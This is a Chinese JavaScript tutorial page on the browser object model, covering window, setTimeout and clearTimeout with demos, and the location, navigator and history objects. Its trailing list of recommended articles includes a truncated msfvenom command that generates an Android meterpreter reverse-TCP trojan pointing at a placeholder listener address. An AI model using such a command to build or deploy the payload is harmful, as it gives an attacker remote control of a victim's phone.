DOM06~
Window 对象
BOM (浏览器对象模型)
定时器-延时函数
js 执行机制
location 对象
navigator 对象
history 对象
BOM
BOM (Browser Object Model) 是浏览器对象模型
navigator + location+ document + history + screen --> window
window 是浏览器内置的全局对象,我们所学习的所有 Web APIs 的知识内容都是基于 window 对象实现的
window 对象包含了 navigator、location、document、history、screen 5个属性,即所谓的 BOM
document 是实现 DOM 的基础,它其实是依附于 window 的属性
依附于 window 对象的所有属性和方法,使用时都可以省略 window
定时器 - 延时函数
js 内置的一个用来让代码延迟指定的函数, setTimeout
语法:setTimeout(回调函数,等待的毫秒数)
setTimeout 仅仅只执行依次,所以可以理解为就是把一段代码延迟执行,平时省略 window
清除延时函数
let timer = setTimeout(回调函数,等待的毫秒数)
clearTimeout(timer)
demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<button>解除定时器</button>
<script>
// 添加 延时函数 定时器
let timer = setTimeout(function() {
console.log(111);
}, 3000)
// 清除 延时函数 定时器
let btn = document.querySelector('button')
btn.addEventListener('click', function() {
clearTimeout(timer)
})
</script>
</body>
</html>
递归函数
6.1 什么是递归函数?
自己调用自己
6.2 利用递归 与 延时函数 实现 间隔函数 demo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div></div>
<script>
// 利用递归函数 实现 间隔函数
let div = document.querySelector('div')
function fn() {
div.innerHTML = new Date().toLocaleString()
setTimeout(fn, 1000)
}
fn()
</script>
</body>
</html>
js 执行机制
(js 执行机制)[js执行机制 - 简书 (jianshu.com)]
location 对象
location 的数据类型是对象,用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面
常用的属性和方法 (Location)[Location - Web API 接口参考 | MDN (mozilla.org)]
navigator 对象
navigator 的数据类型是对象,它包含有关访问者浏览器的信息
常用属性和方法 (Navigator)[Navigator - Web API 接口参考 | MDN (mozilla.org)]
警告!!! 来自 navigator 对象的信息具有误导性,不应该被用于检测浏览器版本,这是因为:
navigator 数据可被浏览器使用者更改
一些浏览器对测试站点会识别错误
浏览器无法报告晚于浏览器发布的新操作系统
浏览器检测
由于 navigator 可误导浏览器检测,使用对象检测可用来嗅探不同的浏览器。
由于不同的浏览器支持不同的对象,您可以使用对象来检测浏览器。例如,由于只有 Opera 支持属性 "window.opera",您可以据此识别出 Opera。
例子:if (window.opera) {...some action...}
history 对象
history 的数据类型是对象,该对象与浏览器地址栏的操作对应,如前进、后退、历史记录等
常用属性和方法 (History)[History API - Web API 接口参考 | MDN (mozilla.org)]
DOM06~的更多相关文章
随机推荐
- 监控Android(生成木马)
生成木马: sudo su msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 R ...
- Jmeter 之在linux中监控Memory、CPU、I/O资源等操作方法
在做性能测试时,单纯的只看响应时间.错误率.中间值远远不够的,有时需要监控服务cpu.内存等指标来判断影响性能的瓶颈在哪. 操作步骤: 一.Linux下配置jmeter环境 1.在linux环境下安装 ...
- Centos7下git最新版本安装
刚重新装了centos7最小版的系统,发现没有git,只好重新安装了,记录下以防忘记.(以下命令最好在root用户下执行,要么你有管理员权限也行,则需要在命令前加sudo) 安装方法有两种: 一.yu ...
- 使用腾讯云部署war包
目录 1.前期准备 2.springboot打war包 3.部署war包 4.导入数据库 5.修改Tomcat启动端口 6.启动服务器 7.设置腾讯云服务器防火墙规则 8.从外部访问 9.总结 10. ...
- [seaborn] seaborn学习笔记12-绘图实例(4) Drawing example(4)
文章目录 12 绘图实例(4) Drawing example(4) 1. Scatterplot with varying point sizes and hues(relplot) 2. Scat ...
- HBase详解(05) - HBase优化 整合Phoenix 集成Hive
HBase详解(05) - HBase优化 整合Phoenix 集成Hive HBase优化 预分区 每一个region维护着startRow与endRowKey,如果加入的数据符合某个region维 ...
- day02-Promise
Promise 1.Promise基本介绍 Promise是异步编程的一种解决方案,可以解决传统Ajax回调函数嵌套问题. 传统的Ajax异步调用在需要多个操作的时候,会导致多个回调函数嵌套,导致代码 ...
- Go语言的赞和喷
(原发于 GitHub Pages,2019-01-01 23:22:43) 2019 年,我回来了. 不知不觉中,我入 PHP 的坑已经 3 年有余,入 Go 的坑也大半年了.作为不评论不舒服斯基星 ...
- Java学习笔记 :2021年12月31日 上午
Java学习笔记 :2021年12月31日 上午 目录 Java学习笔记 :2021年12月31日 上午 关于计算机语言 1.关于语言的分类 2.小结 关于Java语言的基础语法 1.主方法 2.其他 ...
- Ubuntu下的LGT8F328P MiniEVB Arduino开发和烧录环境
基于 LGT8F328P LQFP32 的 Arduino MiniEVB, 这个板型资料较少, 记录一下开发环境和烧录过程以及当中遇到的问题. 关于 LGT8F328P 芯片参数 8位RISC内核 ...